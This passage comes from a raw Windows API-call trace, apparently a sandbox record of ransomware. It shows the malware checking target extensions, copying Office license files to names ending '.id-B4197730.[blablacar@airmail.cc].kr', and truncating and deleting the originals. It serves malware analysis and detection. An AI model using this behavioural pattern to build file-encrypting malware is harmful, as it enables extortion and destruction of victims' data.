4 [0216.745] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms") returned 88 [0216.745] lstrlenW (lpString=".1cd") returned 4 [0216.745] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms") returned 88 [0216.745] lstrlenW (lpString=".jpg") returned 4 [0216.745] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.745] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.745] lstrlenW (lpString="ProjectStdR_Grace-ul-oob.xrm-ms") returned 31 [0216.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0216.746] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11611) returned 1 [0216.746] CloseHandle (hObject=0x474) returned 1 [0216.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ul-oob.xrm-ms")) returned 0x220 [0216.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0216.747] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.747] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0216.748] GetLastError () returned 0x0 [0216.748] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d5b, lpOverlapped=0x0) returned 1 [0216.750] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0216.751] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.751] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x112, lpOverlapped=0x0) returned 1 [0216.751] SetEndOfFile (hFile=0x568) returned 1 [0216.751] CloseHandle (hObject=0x568) returned 1 [0216.751] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.751] SetEndOfFile (hFile=0x474) returned 1 [0216.754] CloseHandle (hObject=0x474) returned 1 [0216.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ul-oob.xrm-ms")) returned 1 [0216.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms") returned 81 [0216.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms") returned 81 [0216.755] lstrlenW (lpString=".doc") returned 4 [0216.755] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.755] lstrlenW (lpString=".docx") returned 5 [0216.755] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.755] lstrlenW (lpString=".pdf") returned 4 [0216.755] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.755] lstrlenW (lpString=".xls") returned 4 [0216.755] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.756] lstrlenW (lpString=".xlsx") returned 5 [0216.756] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.756] lstrlenW (lpString=".ppt") returned 4 [0216.756] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms") returned 81 [0216.756] lstrlenW (lpString=".zip") returned 4 [0216.756] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.756] lstrlenW (lpString=".rar") returned 4 [0216.756] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.756] lstrlenW (lpString=".bz2") returned 4 [0216.756] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.756] lstrlenW (lpString=".7z") returned 3 [0216.756] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms") returned 81 [0216.756] lstrlenW (lpString=".dbf") returned 4 [0216.756] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms") returned 81 [0216.756] lstrlenW (lpString=".1cd") returned 4 [0216.756] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms") returned 81 [0216.756] lstrlenW (lpString=".jpg") returned 4 [0216.756] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms") returned 81 [0216.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms") returned 81 [0216.756] lstrlenW (lpString=".doc") returned 4 [0216.756] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.756] lstrlenW (lpString=".docx") returned 5 [0216.756] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.756] lstrlenW (lpString=".pdf") returned 4 [0216.756] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.757] lstrlenW (lpString=".xls") returned 4 [0216.757] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.757] lstrlenW (lpString=".xlsx") returned 5 [0216.757] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.757] lstrlenW (lpString=".ppt") returned 4 [0216.757] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms") returned 81 [0216.757] lstrlenW (lpString=".zip") returned 4 [0216.757] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.757] lstrlenW (lpString=".rar") returned 4 [0216.757] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.757] lstrlenW (lpString=".bz2") returned 4 [0216.757] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.757] lstrlenW (lpString=".7z") returned 3 [0216.757] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms") returned 81 [0216.757] lstrlenW (lpString=".dbf") returned 4 [0216.757] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms") returned 81 [0216.757] lstrlenW (lpString=".1cd") returned 4 [0216.757] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms") returned 81 [0216.757] lstrlenW (lpString=".jpg") returned 4 [0216.757] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.757] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.757] lstrlenW (lpString="ProjectStdR_OEM_Perp-pl.xrm-ms") returned 30 [0216.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0216.758] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=10655) returned 1 [0216.758] CloseHandle (hObject=0x474) returned 1 [0216.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-pl.xrm-ms")) returned 0x220 [0216.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0216.759] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.759] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0216.760] GetLastError () returned 0x0 [0216.760] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x299f, lpOverlapped=0x0) returned 1 [0216.761] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0216.763] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.763] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x110, lpOverlapped=0x0) returned 1 [0216.763] SetEndOfFile (hFile=0x568) returned 1 [0216.763] CloseHandle (hObject=0x568) returned 1 [0216.763] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.763] SetEndOfFile (hFile=0x474) returned 1 [0216.765] CloseHandle (hObject=0x474) returned 1 [0216.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-pl.xrm-ms")) returned 1 [0216.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms") returned 80 [0216.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms") returned 80 [0216.767] lstrlenW (lpString=".doc") returned 4 [0216.767] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.767] lstrlenW (lpString=".docx") returned 5 [0216.767] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.767] lstrlenW (lpString=".pdf") returned 4 [0216.767] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.767] lstrlenW (lpString=".xls") returned 4 [0216.767] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.767] lstrlenW (lpString=".xlsx") returned 5 [0216.767] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.767] lstrlenW (lpString=".ppt") returned 4 [0216.767] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms") returned 80 [0216.767] lstrlenW (lpString=".zip") returned 4 [0216.767] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.767] lstrlenW (lpString=".rar") returned 4 [0216.767] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.767] lstrlenW (lpString=".bz2") returned 4 [0216.767] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.767] lstrlenW (lpString=".7z") returned 3 [0216.767] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms") returned 80 [0216.767] lstrlenW (lpString=".dbf") returned 4 [0216.767] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms") returned 80 [0216.767] lstrlenW (lpString=".1cd") returned 4 [0216.767] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms") returned 80 [0216.767] lstrlenW (lpString=".jpg") returned 4 [0216.767] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms") returned 80 [0216.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms") returned 80 [0216.768] lstrlenW (lpString=".doc") returned 4 [0216.768] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.768] lstrlenW (lpString=".docx") returned 5 [0216.768] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.768] lstrlenW (lpString=".pdf") returned 4 [0216.768] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.768] lstrlenW (lpString=".xls") returned 4 [0216.768] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.768] lstrlenW (lpString=".xlsx") returned 5 [0216.768] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.768] lstrlenW (lpString=".ppt") returned 4 [0216.768] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms") returned 80 [0216.768] lstrlenW (lpString=".zip") returned 4 [0216.768] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.768] lstrlenW (lpString=".rar") returned 4 [0216.768] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.768] lstrlenW (lpString=".bz2") returned 4 [0216.768] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.768] lstrlenW (lpString=".7z") returned 3 [0216.768] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms") returned 80 [0216.768] lstrlenW (lpString=".dbf") returned 4 [0216.768] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms") returned 80 [0216.768] lstrlenW (lpString=".1cd") returned 4 [0216.768] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms") returned 80 [0216.768] lstrlenW (lpString=".jpg") returned 4 [0216.768] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.769] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.769] lstrlenW (lpString="ProjectStdR_OEM_Perp-ppd.xrm-ms") returned 31 [0216.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0216.769] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=20784) returned 1 [0216.769] CloseHandle (hObject=0x474) returned 1 [0216.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ppd.xrm-ms")) returned 0x220 [0216.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0216.770] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.770] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0216.771] GetLastError () returned 0x0 [0216.771] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x5130, lpOverlapped=0x0) returned 1 [0217.061] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5140, lpOverlapped=0x0) returned 1 [0217.062] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.062] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x112, lpOverlapped=0x0) returned 1 [0217.063] SetEndOfFile (hFile=0x568) returned 1 [0217.063] CloseHandle (hObject=0x568) returned 1 [0217.063] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.063] SetEndOfFile (hFile=0x474) returned 1 [0217.068] CloseHandle (hObject=0x474) returned 1 [0217.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ppd.xrm-ms")) returned 1 [0217.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms") returned 81 [0217.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms") returned 81 [0217.074] lstrlenW (lpString=".doc") returned 4 [0217.074] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0217.074] lstrlenW (lpString=".docx") returned 5 [0217.074] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0217.074] lstrlenW (lpString=".pdf") returned 4 [0217.074] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0217.074] lstrlenW (lpString=".xls") returned 4 [0217.074] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0217.074] lstrlenW (lpString=".xlsx") returned 5 [0217.074] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0217.074] lstrlenW (lpString=".ppt") returned 4 [0217.074] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0217.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms") returned 81 [0217.074] lstrlenW (lpString=".zip") returned 4 [0217.074] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0217.074] lstrlenW (lpString=".rar") returned 4 [0217.074] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0217.074] lstrlenW (lpString=".bz2") returned 4 [0217.074] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0217.074] lstrlenW (lpString=".7z") returned 3 [0217.074] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0217.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms") returned 81 [0217.074] lstrlenW (lpString=".dbf") returned 4 [0217.074] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0217.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms") returned 81 [0217.074] lstrlenW (lpString=".1cd") returned 4 [0217.074] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0217.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms") returned 81 [0217.074] lstrlenW (lpString=".jpg") returned 4 [0217.074] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0217.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms") returned 81 [0217.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms") returned 81 [0217.075] lstrlenW (lpString=".doc") returned 4 [0217.075] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0217.075] lstrlenW (lpString=".docx") returned 5 [0217.075] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0217.075] lstrlenW (lpString=".pdf") returned 4 [0217.075] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0217.075] lstrlenW (lpString=".xls") returned 4 [0217.075] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0217.075] lstrlenW (lpString=".xlsx") returned 5 [0217.075] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0217.075] lstrlenW (lpString=".ppt") returned 4 [0217.075] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0217.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms") returned 81 [0217.075] lstrlenW (lpString=".zip") returned 4 [0217.075] lstrcmpiW 